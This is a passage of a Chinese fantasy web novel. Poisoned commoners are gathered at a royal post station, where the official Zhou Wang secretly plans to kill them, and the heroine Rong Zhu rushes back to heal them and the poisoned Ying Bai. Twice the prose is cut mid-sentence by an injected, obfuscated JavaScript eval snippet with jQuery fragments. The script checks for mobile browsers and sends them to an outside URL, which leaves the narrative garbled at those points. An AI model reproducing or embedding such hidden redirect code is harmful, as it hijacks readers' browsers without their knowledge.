容珠的母亲和应白没有教容珠心怀大爱,一则是因为在那个世界拥有小爱就已难得,而人应该有小爱;二则,大爱是个人的决定而非必须要拥有的品质;三则,平安难得。大爱固然伟大,可关心容珠的人又怎忍心看她受伤? 改变一个人不是告诉她应该做什么,而是让她明白为什么这样做以及她自己想要做。从前容珠认为弱者低贱是真,后来喜欢朝荣国也是真,现在救治颖城百姓也是真,这些事情的背后没有人逼迫她,所有的一切都是她愿意。 容珠很想应白,她迫不及待想告诉他自己灵力又增长的好消息,还想……不想再和他分开。 * “圣主,有个从宫里来的侍从说三皇子妃写了封紧急的信要交给紫阳宫。” 一个紫阳宫弟子在药堂里找到了上官琛。彼时上官琛和应白在研究医书寻找跟奇毒有关的解法信息,金毛在药堂里来回走动,不知道在嗅什么。 “宫里?三皇子妃?”上官琛像是听到了另类的语言,三皇子妃什么时候跟紫阳宫有交集了?他起身,看见弟子的身后的确站着一个神色稍微有些急切的侍从。 侍从忙双手呈信,开始解释:“皇后娘娘听说陛下的毒解了后想去看望陛下,但是听到了一些话,事情重大,娘娘找来三皇子妃一起商量,最终决定把这件事告诉紫阳宫。” 侍从说话的空当,上官琛已经看完了信。应白见他的脸色似快要着火了,猜测此信上所言绝非好事,下一刻便见上官琛暴跳如雷:“周望小人!他竟敢想出这种惨绝人寰之事!” “圣主,告示已经贴到城外了,眼下都城中毒的百姓还不知真相,正坐在皇家马车里陆续去往此处,具体哪一天执行还未可知,娘娘和三皇子妃皆知此事万分严重,特地秘密令奴才来紫阳宫传信,还望圣主想个万全之策,莫让此事发生!” 都城各处的医馆这两天又接到了几名新中毒的人,按照规定,医馆大夫要上报皇城,由赵皇帝让天师写信传给沈宫主,可赵皇帝现在连朝都不想上,这种小事自然都是周望去办。 侍从苦脸道:“周大人一向明辨是非,怎么会跟陛下提这种意见?会不会另有内情?” 这话皇后和三皇子妃都说过,周望入宫以来彬彬有礼,待人友善,完全不像是能干出杀百姓之事,但侍从也只是把该说的该做的都尽数完成,把二位主子的怀疑和担忧都告诉了上官琛,随后说自己不能久留,便告辞了。 应白接过上官琛手里的信看,上头写皇后听见周望向赵皇帝建议既然要杀掉所有中毒之人就要想办法让他们聚集在一处,如今只有都城和颖城有中毒之人,且此毒又不是用药材就能治好的,不必在医馆里待着,直接去各城城外的皇家驿站里,负责接送的小兵都带着面罩,连马匹都熏了艾草,以免被传染留下后患。 信最后写道,周望认为人死后尸体也会传染,届时把他们的尸身运到后山上烧了,既能防止毒素传播还彻底消除潜在风险。 “衣冠禽兽!”上官琛破口大骂,他指着信说:“从今天起,陛下要命人挨家挨户搜查,一旦发现有中毒之人就立马送去驿站,这些人的家人还以为只要等两天有了解药就能回来,殊不知此去便是送死的!” 上官琛气得来回在药堂里踱步,浑身像有熊熊烈火在燃烧,隔空“点燃”了应白手中的信。 应白内心突突地跳,从一开始他对周望的警惕到后来迫使自己放下对他的不喜,再到此刻这封信所揭示出的东西,他无法再忽略周望身上的奇怪之处。 信里的周望和他们所认识的周望截然不同,可平心而论,应白根本不了解周望到底是怎样的人。他看不清周望,而对方却能一剑击中自己的要害。 他的目的究竟是什么?接近紫阳宫又是为了什么? “有一个问题。”应白看向倏然止步的上官琛,“中毒的人不一定过多久才开始咯血,周望要怎么认定都城所有中毒之人都在驿站?说不定三天后,五天后,七天后又出现了中毒之人,他难道想出现一个就杀一个吗?” 有可能今天还在大街上买菜的人明天就莫名咯血了,那他接触了多少人?接触他的人又接触了多少人?这些人可能分别在不同的日子开始咯血,每出现一个就杀一个,这样杀下去,跟屠城有什么两样?都城和颖城岂不是要变成空城? 上官琛的拳头捏得咯吱作响,他一双眼中充斥着滔天怒火,似乎紫阳宫、皇宫、所有人都被骗了,此时此刻他才发现他一直讨厌的人竟然真的不是人! “他不可以这么做!”上官琛咬牙切齿,“我要把这件事告诉所有人!周望人面兽心,他不配为臣!” “等——咳咳——!” 应白察觉到上官琛要有所行动,正欲对他分析利弊,猛觉胸腔内一阵气息急速上涌,毫无防备咳了起来,突觉全身无力,难以支撑,踉跄着半跪在地上,直咳出一口鲜血来。 鲜血醒目逼人,如一盆冰水从二人头顶浇下,激了个彻彻底底。 118. 阴谋 金毛焦躁地甩着尾巴在应白面前一边转,一边“哼哼”直叫,它伸出爪子去扒地上那摊血,不停地在地板上抹来抹去,抹出道道不均匀的血迹,冲着上官琛抬起前爪“汪汪”直叫。 “应白!”上官琛的怒火被眼前突如其来的惊变暂压住了,他当即冲了过去,“怎么会这样?你都没出去怎么会被传染?” 上官琛后知后觉:“难道……不会是……容珠给你送来了两封信的缘故?” 除此之外他想不到别的更合理的解释,沈宫主每次从颖城过来前都要熏艾,谁能想到三皇子的奏折、容珠的信还会携带毒素呢! “先别想这个。”应白的声音虚弱得与先前判若两人,他擦去嘴上的血对上官琛说:“眼下是个机会,我被传染了,应该去皇家驿站,但不能让皇宫的人发现我跟紫阳宫有关,不能让周望和陛下察觉紫阳宫知道了此事。认识我的人本来就少,你直接将我带去城外,扔在那里,等接送的小兵发现了就会直接带我进驿站。” 应白说完这几句话后疲惫不堪,缓了缓说:“我在里面能清楚地知道细节情况,眼下还不知道周望的计划是要如何杀,不过我猜他不会着急动手,陛下怎么可能让皇宫成为民愤对象,让自己的行为遭人诟病?这些百姓一定是别人杀的。” 应白脑子昏昏沉沉,一直有想睡觉的念头,上官琛没明白他的意思,追问道:“陛下想要嫁祸给谁?” 应白抬起憔悴无神的眼看他,“陛下和紫阳宫不合许久了,都城的解药靠沈宫主来送,如果他假称沈宫主冷眼旁观都城的中毒百姓呢?” “这怎么可能?我娘又不是不回都城,她只要一回来就能知道皇宫在捣什么鬼。” “沈宫主上一次离开都城时,都城的中毒之人都得到了救治,陛下跟她约定,都城一旦有异常就会让天师给她发信,如果信上内容写的是都城无异常呢?沈宫主忙于寻找黑石甲,看到都城没有中毒之人当然不会回来了。” “不会的。”上官琛当即反驳,“我娘是忙,可她细心,有责任,无论如何她都会亲自回来看一眼,她只要回来……” “阿琛。”应白费劲握了握他的手臂,“我们现在已经知道了宫里的计划,他们要给沈宫主传假消息,你一会儿就要告诉沈宫主这一切,让她保全颖城驿站的百姓,而都城这边,我会跟你里应外合,这里的百姓就要靠你了。” 上官琛现在又气又急又恨又忧,一想到周望做出这种表里不一的事他就有上去跟他干架的冲动,可应白虚弱痛苦的样子就在眼前,他稳了稳心神说:“可你这个样子,如何要与我里应外合?” 一刻钟后,上官琛在药堂的桌上写完了信,当即以灵力封锁注入了发信人的意念,随后泛黄的信纸便冲了出去,直飞云端。 “我现在带你去驿站。”上官琛将应白扶起来,踩着剑飞去城外。 周望和赵皇帝之所以决定要把所有中毒之人都安排在城外的皇家驿站是因为这些中毒之人大都是聚在石碑前验血的人。皇家驿站就在石碑所在的那条路后面不远处,若以后再有来验血的人咯血了就可以直接送去驿站,省时省力,为民着想。 此刻石碑前还排了一长串队伍,上官琛余气未消,抱怨道:“要是点亮石碑的人真在都城,怎么轮了几遍了也不见消息?现在三月之期已过,魔龙也不知道在做什么,真是一波未平一波又起,这个毒到底是哪个妖精干的事!有本事它别来都城!否则我定将它扒皮抽骨,生不如死!” 应白靠在他背上想说点什么但没有力气,就听上官琛的连珠炮还没放完:“都这个时候了还验什么血!魔龙固然重要,难道百姓的命就不是命吗!” “阿琛。”应白声音很小,“周望既然想把这件事嫁祸给沈宫主,那他一定不会给其他人向沈宫主发信的机会,这两天,他一定会找个由头拜访紫阳宫,你性子急,又不喜欢他,但现在无论如何都要忍住,周望此人城府这么深,不知道他真正想要的是什么,你留神他说的话,或许我们以后,又要多个敌人了。” 应白暂时想不到周望为了实行这个惨无人道的计划会做哪些行动,他只能尽可能把想到的方面告诉上官琛,让他加以防范,因为能给沈宫主发信的最有可能的对象就是紫阳宫,周望接下来肯定会把视线投到这里。 上官琛气得腮帮子鼓鼓的,他选了个石碑附近的丛林之地缓缓降落,慢慢把应白靠在树上,“为什么?” 他声音含着怨怼,“为什么现在会发生这许多事?朝荣国以前不是这样的,为什么会有魔龙?为什么从前仁爱宽厚的陛下会变成冷血自私的君王?为什么要出现周望这样的奸臣?为什么我们从前都没有发现他还有如此邪恶的一面?” 他像是个不知道自己犯了什么错的孩子,一直在不停地问,“所有的事情,一件接着一件降临朝荣国,朝荣国的百姓没有一天安生日子,我不明白,好像我们得罪了神明,现在所遭受的一切都是天惩!” 应白无力又忧心地看着他,比起自己被传染,比起现在发生的任何一件事来说,眼前这个原本无忧无虑的少年现在面临了困惑才是眼下更要关心的事。 “为什么”这三个字是世间所有不合理,不明白,不理解之事发生后第一个被推出来的词句。说出这三个字的人有可能真的需要一个解释,也有可能想听到跟真实答案不同的谎言。“为什么”是个好问题,所有人一生不一直都在回答“为什么”吗? 为什么要修炼灵力?为什么灵力修炼不起来?为什么弱者低贱?为什么宣扬仁爱就是错?为什么会有海屏障?为什么会有灾难和作恶的妖魔?为什么人生下来要经历苦难?为什么要活着? …… 拥有答案却不一定会解决问题,就像现在,上官琛问出的这些“为什么”不是他真的不知道答案,他需要的也不是答案,他想要的是一个办法,一个能让灾难停止,回归从前安宁日子的办法。 “只有往前走,才能看清雾后面究竟是什么。”应白不是圣人,不是传道授业解惑的老师,他同样是身处迷雾中的人,看不清自己的未来和人生意义,更糟糕的是,他现在脑子一团模糊困倦,浑身的难受让他很想上床躺着。 他尽力让自己保持清醒,安慰道:“保护百姓,斩妖除魔是你修炼的意义和责任,我想,只有去做才能解答这些‘为什么’,朝荣国有紫阳宫、无尘宫和红岭宫,这里的百姓需要你们,唯有你们才能让灾难停止,归还百姓安宁。” 应白透过树林缝隙看到不远处有几个小兵在检查排队验血的人中有没有突然咯血的,他对还在沉思的上官琛说:“好了,别想太多,我师父总对我说,不要一动不动,去做你应该做的。阿琛,快回去吧,他们来了。” 上官琛内心五味杂陈,他回头看了一眼,见几个小兵正说着话往这边走,他紧紧抱了一下应白,所有的情感都拥挤在喉间欲竞相喷出,他停顿许久,只说:“你小心。” 他拿起长枪起身,刚迈出一步忽然顿足:“当我知道周望是小人的那一刻,我心里曾有一丝开心,因为这证明了我没有看错人,虽然我不喜欢他的原因仅仅是因为云萧喜欢他,说白了,我也被他骗了,咱们都被他骗了,那他喜欢容珠究竟是真的还是假的?他心思险恶,有没有做出伤害容珠但她和我们都还不知道的事?” 上官琛临走前的一句话硬生生吓散了应白身体的痛楚和困意,他虚弱无力的身体忽然紧绷起来,难以言喻的不适之感冲击着他的五脏六腑,胸腔里的一股气息一下比一下急促地朝上涌,忍不住身子一倾,吐了口血出来。 那边两个小兵眼看着要拐过那棵树看到这边,上官琛暗道自己说话说的不是时候,他忙撤到身后的灌木丛中,从繁密绿叶之间观察前方情况。 应白吐血的声音引来了小兵的关注,他们只是奉命行事的人,并不知道赵皇帝的计划,二人跑上前关心道:“这位公子,你怎么咯血了?是不是被传染了?如今陛下有令,传染的人要送往皇家驿站集中救治,就在不远处,我们扶您过去。” 灌木丛后面的上官琛看着两个小兵一左一右扶起应白朝驿站走去。他一巴掌拍到自己脑门儿上,自责道:“应白本来就因中毒而备受煎熬,现在还要忧虑容珠的安危,你怎么忙中添乱啊!” 上官琛望着颖城的方向道:“容珠啊容珠,你快回来,应白的身体和心灵都等着你救治啊……” 如应白猜测的那样,上官琛回到紫阳宫没多久,周望就上门拜访了。 周望仍旧是一副彬彬有礼,风度翩翩的模样,没得到主人的允许,他就站在通向紫阳宫内部的必经之路上,欣赏着眼前假山顶上嵌着的两片龙甲。 黑亮的龙甲在阳光的照耀下熠熠生辉,神圣庄严,这世间所有的奇珍异宝,法器刀剑,灵力术法都比不上它分毫,应该说,都不配与它相比。这可是天上地下,能称得上一等一神器的宝物啊。 上官琛脸色阴沉地朝这边走来。他不会邀请周望进紫阳宫的,如果一定要跟他见面说话的话,那在门口站着说又没什么影响。 “周大人来紫阳宫有什么事吗?”上官琛的火气在喉间滚了滚,硬是压了下来,烧得他嗓子干涸冒烟,说出来的话也有些沙哑。 周望笑得很得体,“先前陛下中毒的时候让邱姑娘回紫阳宫研制解药,如今陛下//身体好了,四公主这两天很是想念邱老师,麻烦上官公子转告邱姑娘,四公主的课业从明日继续。” 是进宫当老师,还是有其他陷阱,上官琛几乎想也不想就认定是后者,此刻若阿姐回宫,皇后和三皇子妃一定会把这件事告诉她,上官琛想,他还得给阿姐发一封信,让她速回。 “周大人放心,我会转告给我阿姐的,还有别的事吗?药堂里还煮着药呢,我得回去看着。”上官琛警惕着说着慌,他在告诉周望,紫阳宫现在全体都在为中毒之事忙碌,无暇顾及其他。 周望点点头,没有要走的意思,他望了望上官琛的身后,闲聊道:“好长时间没看见应公子了,大家都是朋友,有时间该多聚聚才是,麻烦上官公子也向他转告一声,周府随时欢迎他和容姑娘来做客。” 上官琛听见“大家都是朋友”这句话后咬了咬牙,待周望说完,他扯着嘴角做出一副笑也不是,厌恶也不是的怪异表情:“当然,定是要去拜访的。” 眼前这个人神色泰然,从头到尾都保持着礼貌得体的姿态,这副虚伪阴险的面容让上官琛受到了极大的挑战,按他的性格定不会与他说这许多废话,早恨不得把满腔愤怒都倾泻出来。 周望没有灵力不要紧,他也不用灵力就是了,就是赤手空拳他也要痛骂他的虚情假意,人面兽心! 炽热的阳光照得上官琛快要着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066178|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 火了,周望仍没有要走的意思,药锅里煮的药也跟他无关,他自顾自地欣赏着假山上的两片龙甲,把话头对准了上官琛: “上官公子,陛下今日下达了新的指令,从现在开始,都城每家每户往后每日都要接受检查,看看是否存在中毒之人,紫阳宫作为高门大派,自跟其他人不一样,上官公子只要跟我说一声紫阳宫有没有中毒之人就可以了。” “没有。”上官琛注视着他,心头有一丝疑惑浮起,如果赵皇帝真的想把驿站百姓的死归结为母亲的责任,为什么周望还要跑过来大肆宣扬他们的第一步行动?若紫阳宫真有中毒之人他和赵皇帝难道还能在紫阳宫的眼皮子底下杀死紫阳宫的人吗? 周望绝对不是一个想知道答案就直白去问对手的蠢人,上官琛猜不透他心里在想什么。 周望点点头,再次看向龙甲:“这龙甲好歹也不是俗物,总放在外头晒太阳既起不了什么作用,也暴殄天物。煮药的时间很长,上官公子也别把自己累着了,紫阳宫这么大,有时间得多了解了解自己的家。” 说完这些莫名其妙的话后周望就走了。 上官琛几乎是在他转身的一瞬间就变脸了,他心里很乱,很燥,想打他又抱着或许误会他的猜疑。 从私心来说,他希望周望就是小人,这样就能向所有人证明自己一直不喜欢他是有先见之明,可他又不让自己这么想,不是因为自己这么想很幼稚,而是他可以有私心,他接受自己的私心,但在大是大非上,他必须要站在大局上思考问题,如果周望表里如一,那朝荣国就能少一个敌人。 如果除了魔龙之外又来了个奸臣周望…… * 平安医馆。 顾云萧边跟容珠包扎血口边道,“你看你,流血流得脸上一点血色都没了,如今两个胳膊都被纱布占满了,要是再献血就得从腿上割了。” 容珠双目出神,还在回想着自己先前的反常情况,当时脑子里那个咆哮的女声现在回想起来颇觉熟悉,那不是自己的声音吗?难道自己当时真的中邪导致灵魂分裂了? “那就先养两天吧。”容珠分出思绪回答顾云萧。 当时灵核发烫就是在提醒自己不被女声的思绪扰乱……后来她成功了,灵力提升了,比以往任何一次的提升都要高得多,她几乎怀疑自己不再是中灵了。 可为什么呢?同样都是帮助人,为什么这一次提升得这么厉害?为什么她提升灵力的方式跟其他人都不一样,换句话说,为什么她是另类的? “沈宫主!” 顾云萧的惊喜声打断了容珠的思绪,她顺着顾云萧飞快的身影缓缓望去,一眼瞧见了沈宫主极其严肃的面色。 “我收到了都城传来的两封信。” 沈宫主还不知道容珠先前发生了异常之事,她也不认为还有什么事比她手上其中一封信说的内容更为重要。 “一封是陛下派天师发来的,告诉我都城没有中毒百姓。” “这是好消息。”顾云萧不明白为什么沈宫主看起来并不高兴。 “第二封信是阿琛发来的,他对我说陛下发了告示,让都城和颖城所有中毒之人都去皇家驿站等候救治,而据皇后娘娘听到的对话,陛下和周望之所以这么做是计划将这些中毒之人全部杀死,理由是为了不让更多无辜的百姓受牵连。” 沈宫主不知道是气过头了还是震惊得情绪没反应过来,她念这些内容的时候语气平静得吓人,可脸色却是相当阴沉。 容珠和顾云萧乍一听这些内容皆以为自己听错了,两人的声音都卡在喉间,惊愕地望着沈宫主。 “所有百姓,所有人都以为是陛下为民着想而设的措施。”沈宫主的语气渐渐升高后又低沉下去,“左相说的是真的,他临终前告诉我要小心周望。” 沈宫主将右手上从皇宫发来的信捏得咔嚓作响,“他们怎么能想出如此惨绝人寰之法!” 顾云萧惊呆了,她难以把信上的周望和她所认识的周望联想起来,“沈宫主,我们认识的周望怎么可能会是这种人?” “我们认识的周望。”沈宫主现在满脸怒气,“我们见到的周望是真,和陛下商量杀死百姓的周望也是真,恐怕,我们从来都没有认识过他!” 容珠忽然觉得有许多条线索在她的脑海里相互交叉缠绕,从过年那晚看到房顶上的周望,到后来去他府上做客时的周望,监工时的周望,还有她生病那次去他家喝茶却莫名其妙睡着这件事…… 那个人,那双眼…… “容珠,还有件事。”沈宫主顿了顿,冷静的双眸浮上一层忧色,“应白中毒了,现在在驿站。” 这些天留了这么多血,容珠都没觉得头晕不舒服,这短短的一句话却冲击得她天旋地转,头晕目眩,右手控制不住地微微抖着,胸腔里有一口气憋着上不来…… 有个强烈的意念要做什么,做什么……她想唤剑,想握剑,握剑而不是御剑,可心里救应白的念头很快又盖过了这奇怪的想法。 “我要回去。” 容珠没注意到自己的目光难以聚焦,她慢慢放下袖子,盖住了满是纱布的胳膊,却盖不住肉眼可见地鼓鼓囊囊。 沈宫主看她脸色不好,只以为是献血太多的原因,她收敛了不好的情绪,轻轻握住容珠的肩膀,柔声道:“一切小心。他需要你。” 119. 驿站 灵力提升后带来的好处不言而喻,容珠脚踩佩剑飞速穿梭,带起的热风呼呼从耳畔吹过。雨季过后的晴天热得过分,亮得发白的太阳光紧紧追逐着她不放,燥热的感觉像在给原本急切的心推波助澜。 “怎么会呢?师父怎么会被传染?”容珠满脑子都是这些疑惑,上次应白回信后她便一直没有再发,因为她不想让他知道自己的血能暂时解毒这件事。 她换位思考了一下,如果中毒的百姓需要的是师父的血,那这种感觉很不美好,尤其是看着自己在乎的人每日流血而自己却无法想到更好的解决方法,什么也做不了的时候是很难受的。唯一能做的就是像顾云萧和李大夫叮嘱自己一样叮嘱他照顾好身体。 与其会难受不如不让他知道。 不过沈宫主来去都城这么多次,师父肯定知道了这件事,难道看不见会更好过吗? 容珠看到远方掩藏在山峦后面的都城边界时,心跳得更乱了。哪怕她知道只要自己回到都城见到应白就可以暂时解他的毒,她的慌乱也止不住,看不到对方时总会胡思乱想。 这是爱吗? 她爱应白还是爱师父? 沈宫主那天对她说的那些话容珠一直在思考,她躺在床上,闭上眼睛去看应白的面容。她从什么时候喜欢他的?喜欢他什么?她了解他吗? 是因为他可以让自己提升灵力?因为他不认为弱者低贱?因为他让自己重获新生? 她认为有这些因素,但还离得很远,就像在圆的边缘徘徊,离中心点还有一段距离。 怎么会有这么奇怪的事!人怎么会连自己为什么喜欢一个人都不知道? 都城城门在视线中渐渐变大,心里的担忧和急切重新占满了她的头脑,都城的大门已经关闭了,守城门的几个小兵带着面罩对路过的百姓挥手说着什么。 容珠飞得很快,她想着在见应白之前需要回到紫阳宫和上官琛了解更详细的情况。 紫阳宫的大门近在咫尺,她刚一落地就和从另一个方向落地的人碰了个照面。 是邱梧。 三人齐聚在药堂,桌上摆着一摞上官琛从藏书阁搬来的医书,他小时候对读书没兴趣,除非是跟功法有关的书他会认认真真地看,其他所有需要看书学习的东西他一概摆手拒绝,不求百事通,只专攻一技之长。 现在,颖城百姓中毒的事已经演变到一国之君要杀百姓了,此事唯有彻底解毒才能断绝赵皇帝的想法,要想彻底解毒,除了找黑石甲,上官琛相信一定还有其他可能。 虽然到现在还没有任何收获。 “陛下确实下令关闭都城城门。”上官琛合上一本医书,攥紧了拳头,“早就该关了,说不定也不会有后来这些中毒之人!” “我还是不敢相信。”邱梧收到上官琛传来的信后用了最快的速度飞回来,耗费了不少灵力,此刻身上的风尘气还没消尽,头发也有些乱,“周大人……”她现在不确定是不是该这么称呼他,“他同意陛下要杀死中毒之人这个决定?” 邱梧拿着三皇子妃写的原信,就像听到自己不叫邱梧一样的诧异。 一边是自己的判断,一边是皇后亲耳听到的消息,邱梧在原地踱步,被这个非常不合情理的事搅得脑子里嗡嗡作响。 “一个人不会无缘无故总做出反常的行为,比起他究竟是什么人我更关心陛下为什么要在此时让邱梧回去,现在各门各派都在找黑石甲,虽说少一人也不会有太大影响,但教四公主读书跟这比起来却是无足轻重。”容珠隐约觉得此事怪怪的。 上官琛轻笑一声:“陛下连杀百姓的事都想的出来,找解药这样的小事他又怎会放在心上?阿姐好歹是紫阳宫的圣女,就算陛下和周望想拿我阿姐做人质或者监督她什么也不能对她怎么样。” 邱梧在药堂里走了好几圈,这会儿停下道:“教四公主读书本就是我的职责,既不想让周望发现我们知道了这件事,那我找理由不去就显得可疑。在宫里有在宫里的好处,我可以自由走动,既能找机会观察周望,说不定还能听见什么消息。” “不过还有件事。”邱梧说,“陛下下令让都城和颖城的中毒之人都移去驿站,如果他设法不让母亲回都城,那母亲完全可以出入颖城驿站,陛下想杀颖城百姓肯定瞒不过母亲,这不是暴露了他们的想法吗?” “陛下今天关了城门。”容珠想起了自己看到的画面,“他为什么决定在今天关?控制毒素?” 就像上官琛说的,他早该想到关城门的。这一举动究竟仅仅是控制外来毒素还是把为民着想这码戏做全,又或是还有别的原因? “不管皇宫里的行动背后有什么原因,现在我回都城了,驿站里的中毒百姓我可以救,颖城那边自有沈宫主坐镇。”容珠叹了口气,“可我只能救他们一时,不能保证他们以后不再被传染。” 邱梧走过来握住容珠的两条胳膊,先前在紫阳宫外见面的时候她就发现容珠的两条胳膊鼓鼓囊囊的,隔着衣衫,邱梧能清晰摸到下面包扎伤口的纱布打的小结。 一个小结代表着一道伤口,每摸到一个,邱梧的心就颤一下。 “容珠,你虽不是朝荣国的人,但你的灵力可以伤害祸乱朝荣国的魔龙,你的血可以救治朝荣国的中毒百姓,哪怕你救不了所有人,可也没有任何人会比你更能改变局面。”邱梧看着她气色不佳的脸担忧道:“可是你的身体还能否承受得住?” “都城中毒之人不多,我可以。”容珠握住她的手毫不犹豫地回答。 上官琛哼笑一声,“陛下想偷摸杀百姓,那我们就给他来个意外之喜,他不让我娘来都城,可现在容珠回来了!应白有救了,都城的百姓也有救了!” 说到这儿,邱梧转过身带着有些责备的语气问自己的弟弟:“应白怎么会中毒?你为什么要把他送去驿站?他完全可以在紫阳宫休息。” 上官琛正准备开口,容珠看着他,心头蓦地一紧:“你们两个有计划吗?” * 繁星当空。 在石碑前排队验血的百姓陆陆续续回家了,近来被送去驿站的中毒之人大都是从这些人中出现的,现在各人带着一副白色的面罩,在明亮的夜晚四散回家,远远望去有种说不上来的诡异感。 不远处的皇家驿站灯火通明,驿丞在忙完一天的公务后准备洗洗睡了,他招呼小厮去准备洗澡水,走过廊下看到宫里来的几队小兵正在轮岗。 都城驿站是朝荣国所有驿站中占地最大的,同样也是事务最繁忙的驿站,皇宫那边但凡有什么指派或者传达的命令几乎都要牵扯到这里,但驿丞万万没想到,有朝一日,驿站又多了项集中安置中毒之人的任务。 说实话,驿丞也是最近才听说的颖城一事,也怕自己被传染,但赵皇帝的命令再匪夷所思他身为官员都得照办,不过总归另有他人负责,驿丞只负责知道这件事就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17069615|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行。 中毒之人被安置在驿站里最偏僻的一角,站岗的小兵闲的没事就聊这些人,话题要么是朝荣国继魔龙之后又出现了大妖,凶残阴险,要么是容女侠乃天降神女,所以她的血能解毒,小兵们一会儿哀叹这些人可怜,一会儿忧心自己被传染。 此时,一辆皇家马车停在了驿站门口,门口的一名驿卒快步穿过前院找到了驿丞:“大人,宫里来人了。” 驿丞颇觉意外,暂把睡意放下,随着驿卒去迎人。 身处大院里面的小兵还不知道前头发生了何事,守夜无聊,说着说着就打开了话匣子,各自不知道扯到哪里去了,一个从厨房来的伙计端着两提饭盒过来,门口的小兵掀开盖子看了看里面寡淡无味的白米粥道:“好歹也放点菜丝肉末混着,多少补充点营养。” 送饭的伙计笑说对方细心,说明天早上就这么做。小兵给他开门,乍见一个一个面容虚弱的人站在门口。小兵先是一愣,想起这人是今天抬过来的,他还是第一次见中毒的人能自己下床的! 应白朝他无力一笑:“我出去方便一下。” 小兵目露佩服,里头这些人睡得晨昏不辨,他和其他几个兄弟每过段时间就要进去挨个叫一遍,问他们想不想小解,这个人竟能自力更生,着实让人意外,小兵像看奇迹似的看着他,给他让开了道路。 非是应白身体特殊又或是有什么过人之处,自他听了上官琛说周望有可能伤害过容珠那句话后他脑子里便一直想着这事。 他时而清醒时而昏沉,一会儿梦见容珠流血,一会儿是周望杀百姓,他整个身体就像是绷紧的弦,胡思乱想和中毒后带来的痛楚让他躺也难受,睡也睡不安稳。 他让上官琛今晚戌时(晚七点到九点)翻墙进来,和他在驿站后门会合,他会告诉上官琛自己在这儿看到和听到的消息,二人提前预料宫里的行动。上官琛会给应白带响箭,响箭上注有灵力,若有突发情况,应白只要一发射,上官琛会立刻感应到,以最快的速度去往驿站。 应白借着小解的由头先来到茅厕附近,本想摸索着驿站后门在哪儿,恰巧听到后厨几个伙计抬着废水桶要去后门的沟里倒水。 他整个身体又轻又重,明明感觉像飘在云端,但走起路来却十分费力,稍一动弹,顿觉五脏六腑像被撕裂。 他靠在离后门不远的大树后面,倒完水的后厨伙计离开了此地,应白刚一个喘息的功夫就听见前面好像有很多人的声音传来。他调整了一下姿势,静静地观察着前面的垂花门。 “这边,小心台阶,这便是驿站的后院了。”驿丞声音恭敬,像个引路人在前头指引。 “不愧是都城驿站,这么大个地方,驿丞大人管理起来辛苦了。” 熟悉的声音在寂静的夜里像一支响箭警醒了应白,他紧紧盯着被柱子挡住的人,旁边的驿丞谦虚一笑,随后奉承道:“周大人在宫里劳苦功高,殚精竭虑,那才是真的辛苦,下官这里不算什么。” 周望转头问身后的小兵:“那些中毒之人吃过晚饭了吗?” 小兵答:“已经吃过了。” “走,过去看看。” 周望和驿丞一行人前脚刚走,应白身后便传来一阵细微之声,上官琛从后墙翻了进来,两人各有要紧事说,刚一靠近就道: “周望来了!” “容珠来了!” 二人双眸微惊,异口同声道:“什么?” 120. 意外 “大人!”一个驻守前门的驿卒匆忙找到了驿丞:“外头来了个自称叫容珠的姑娘,说可以救治中毒之人。” “容珠?容女侠?”驿丞不可思议地看着驿卒,“她不是在颖城吗?” 驿卒实话实说:“小的也不知道容女侠为何会回到都城,大人,是否请她进来?” “你这不是废话吗?容女侠大老远来解毒,岂有不请人进来的道理,真是的,不懂事。”驿丞挥挥手让他快去,转头对静立一旁的周望道:“周大人,太好了,容女侠来得正是时候,看来今天晚上是大吉啊,这么多贵人光临驿站,下官不胜荣幸。” 周望没有理会驿丞的马屁,他淡如月色的瞳孔缓缓望向大门的方向,皎洁的月光沿着他的黑衫轮廓镀了一层白光,一半高洁,一半阴森。 * “你们是怎么打算的?”应白和上官琛来到一个隐蔽廊檐下,他浑身难受,用胳膊肘撑着墙费劲地问。 上官琛扶着应白说:“我们再怎么防范这里的百姓不被杀都没有容珠来管用,虽说不是长久之计,但总归可以让他们暂时脱离病痛,不给赵皇帝理由杀他们。” 应白背靠着墙皱了皱眉,最终还是贴着墙面一点点下滑,坐在地上,“她怎么样?” “脸色不太好,手臂上都是纱布。”上官琛如实告诉他,沉静了一会儿说:“容珠一心为民,她对朝荣国来讲是特别的,如果没有她,现在不知道死了多少人。” 偏僻的角落是月光照不到的地方,应白身处黑暗,眼眸里闪着的细碎柔光是这处角落里唯一的光亮,他忽然有些后悔带容珠来朝荣国,他的初心是想让她来这里去感受人世间的爱,可在不知不觉间,她成了这里密不可分,拯救黎民危难的存在。 “我只想让她开心快乐,顺遂平安。” 应白想当君子,想当仁爱之士,想造福万民,他知道容珠现在就在做他想做的事情,可他心里一点也不高兴,在她受伤面前,什么仁爱正义都不重要,那种不可以拥有的、违背道德的想法越是控制便越是浮出水面,明晃晃地在他心里张狂作舞。 一面是百姓,一面是容珠。 应白闭上了眼,企图让内心平静。 * “容女侠!下官有礼了。”驿丞对前来的容珠进行了非常热情的问候,容珠简单回礼,看向驿丞身后的周望。 “周大人,你怎么也在驿站?”容珠记得上官琛跟她分析过周望不会在这两天动手,她方才来的时候就注意到了驿站门口气派十足的皇家马车,能坐上这种马车的官员不多,心里的怀疑直到真的亲眼看见周望才确定。 